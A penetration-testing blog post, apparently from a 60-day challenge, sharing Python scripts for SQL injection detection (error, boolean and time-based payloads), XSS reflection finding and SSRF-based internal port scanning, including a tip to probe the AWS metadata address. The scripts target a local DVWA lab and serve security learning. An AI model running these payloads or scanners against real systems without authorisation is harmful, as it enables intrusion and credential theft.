Automating OWASP Top 10 Detection with Python and Burp
Day 21/60 -- Penetration Testing Challenge
Manual testing is necessary, but automating the repetitive parts of OWASP Top 10 testing saves hours on every engagement. Today I built a few scripts during my lab marathon that I want to share.
Automated SQLi Detection Script
Before pulling out sqlmap, I run a quick detection script to confirm injection points and determine the injection type:
import requests
import time
import sys
def detect_sqli(url, param, session_cookies=None):
s = requests.Session()
if session_cookies:
s.cookies.update(session_cookies)
baseline = s.get(url, params={param: '1'}).text
baseline_len = len(baseline)
tests = {
'error': "1'",
'bool_true': '1 AND 1=1',
'bool_false': '1 AND 1=2',
'time_mysql': "1' AND SLEEP(3)-- ",
'time_mssql': "1'; WAITFOR DELAY '0:0:3'--",
}
results = {}
for name, payload in tests.items():
start = time.time()
resp = s.get(url, params={param: payload})
elapsed = time.time() - start
diff = abs(len(resp.text) - baseline_len)
if 'time' in name and elapsed > 2.5:
results[name] = f'LIKELY (delay={elapsed:.1f}s)'
elif name == 'error' and ('error' in resp.text.lower() or 'sql' in resp.text.lower()):
results[name] = f'ERROR DETECTED (len_diff={diff})'
elif name == 'bool_true' and diff < 50:
results['bool_true'] = f'Same as baseline (diff={diff})'
elif name == 'bool_false' and diff > 100:
results['bool_false'] = f'DIFFERENT from baseline (diff={diff})'
else:
results[name] = f'No indicator (diff={diff}, time={elapsed:.1f}s)'
return results
if __name__ == '__main__':
url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost/dvwa/vulnerabilities/sqli/'
for test, result in detect_sqli(url, 'id', {'security': 'low'}).items():
print(f'{test}: {result}')
This gives you a quick read on which injection types are viable before you commit time to extraction.
XSS Context Analyzer
Instead of throwing payloads blindly, figure out where your input lands:
import requests
from html.parser import HTMLParser
def find_reflection_context(url, param, canary='XSS_CANARY_7291'):
resp = requests.get(url, params={param: canary})
body = resp.text
contexts = []
idx = 0
while True:
pos = body.find(canary, idx)
if pos == -1:
break
before = body[max(0, pos-200):pos]
# context detection logic
contexts.append(('html_body', pos))
idx = pos + len(canary)
return contexts
results = find_reflection_context('http://localhost/dvwa/vulnerabilities/xss_r/', 'name')
for ctx, pos in results:
print(f'Reflected at position {pos}: context={ctx}')
Knowing the context tells you exactly which payload class to use. No guessing, no wasted attempts.
SSRF Port Scanner
When you find an SSRF, use it to map internal services:
import requests
import concurrent.futures
def ssrf_port_scan(vuln_url, param, internal_host='127.0.0.1', ports=None):
if ports is None:
ports = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017]
open_ports = []
def check_port(port):
ssrf_target = f'http://{internal_host}:{port}/'
try:
resp = requests.post(vuln_url, data={param: ssrf_target}, timeout=5)
if len(resp.text) > 100 and resp.status_code == 200:
return port, len(resp.text)
except requests.Timeout:
return port, 'timeout (possibly open)'
return None
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as pool:
futures = {pool.submit(check_port, p): p for p in ports}
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
open_ports.append(result)
print(f'Port {result[0]}: response_length={result[1]}')
return open_ports
This turns a single SSRF into a full internal port map. On AWS instances, always add 169.254.169.254 port 80 to the list for metadata.
Key Takeaways
Automation does not replace manual testing, but it handles the repetitive detection phase so you can spend your time on the creative exploitation work. These scripts are starting points -- adapt them for each engagement.
Day 21/60 of the 60 Day Penetration Testing Challenge
Comments
No comments yet. Start the discussion.